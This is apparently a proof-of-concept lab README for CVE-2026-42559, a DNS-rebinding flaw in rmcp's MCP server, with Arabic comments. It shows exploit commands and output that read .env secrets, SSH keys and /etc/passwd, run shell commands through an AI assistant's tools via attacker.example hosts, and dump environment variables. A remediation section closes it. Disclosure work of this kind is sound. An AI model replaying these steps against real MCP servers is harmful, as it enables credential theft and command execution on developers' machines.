.
├── docker-compose.yml       # خدمتان، نفس المصدر، إصدار مختلف من rmcp
├── mcp-server/              # خادم MCP واقعي "مساعد مطور"
│   ├── Cargo.toml
│   ├── Dockerfile           # وسيط البناء RMCP_VERSION يثبّت الإصدار
│   └── src/main.rs
└── exploit/
    └── exploit.py           # إثبات المفهوم، Python 3.9+، بدون تبعيات

docker compose up -d --build

python3 exploit/exploit.py --target 127.0.0.1:8000

CVE-2026-42559 :: rmcp Streamable HTTP -- Host header is not validated
    target       http://127.0.0.1:8000/mcp
    legit Host   127.0.0.1:8000
    rebind Host  mcp-rebind.attacker.example:8000

[*] step 0: baseline handshake with the legitimate Host header
[+] 200 OK -- server is up: rmcp 1.3.0

[*] step 1: replaying the post-rebind request (Host: mcp-rebind.attacker.example:8000)
[!] 200 OK -- the forged Host header was accepted: VULNERABLE to CVE-2026-42559
[+] session opened from a foreign origin: Mcp-Session-Id=589c9643-d2e6-4267-8ed5-86265f0d8b57

[*] step 2: enumerating the tools now exposed to the attacker's page
        - read_file    Read a file from the workstation
        - run_command  Run a shell command on the workstation
        - whoami       Describe the workstation this assistant runs on

[*] step 3: invoking tools as if the attacker page were a local MCP client
    tools/call whoami
        | user=unknown host=35b31d892a7a pid=1
    tools/call read_file path=/home/dev/project/.env
        | STRIPE_SECRET_KEY=sk_live_FAKE_0000000000000000
        | DATABASE_URL=postgres://app:[email protected]:5432/app
    tools/call read_file path=/home/dev/.ssh/id_ed25519
        | -----BEGIN OPENSSH PRIVATE KEY-----
        | FAKE-KEY-FOR-THE-CVE-2026-42559-LAB-DO-NOT-USE
        | -----END OPENSSH PRIVATE KEY-----
    tools/call run_command command='id; uname -a'
        | uid=1000(dev) gid=1000(dev) groups=1000(dev)
        | Linux 35b31d892a7a 6.10.14-linuxkit #1 SMP aarch64 GNU/Linux

[!] arbitrary read and command execution on the victim host, from a web page

python3 exploit/exploit.py --target 127.0.0.1:8001

[*] step 0: baseline handshake with the legitimate Host header
[+] 200 OK -- server is up: rmcp 1.4.0

[*] step 1: replaying the post-rebind request (Host: mcp-rebind.attacker.example:8001)
[+] 403 Forbidden -- Forbidden: Host header is not allowed
[+] NOT VULNERABLE: this build validates the Host header (rmcp >= 1.4.0)

python3 exploit/exploit.py \
  --target 127.0.0.1:8000 \
  --rebind-host wallet.attacker.example \
  --loot /etc/passwd \
  --command 'cat /proc/self/environ | tr "\0" "\n"'

// 1. قم بالترقية.
//    rmcp = "1.4"   (أو أحدث)

// 2. الحلقة المحلية فقط هي الافتراضي من 1.4.0 فصاعداً — لا شيء لفعله
//    لخادم مرتبط محلياً.
let config = StreamableHttpServerConfig::default();

// 3. لنشر عام حقيقي، قم بتضمين أسماءك الخاصة في القائمة البيضاء.
let config = StreamableHttpServerConfig::default()
    .with_allowed_hosts(["mcp.example.com", "mcp.example.com:8443"]);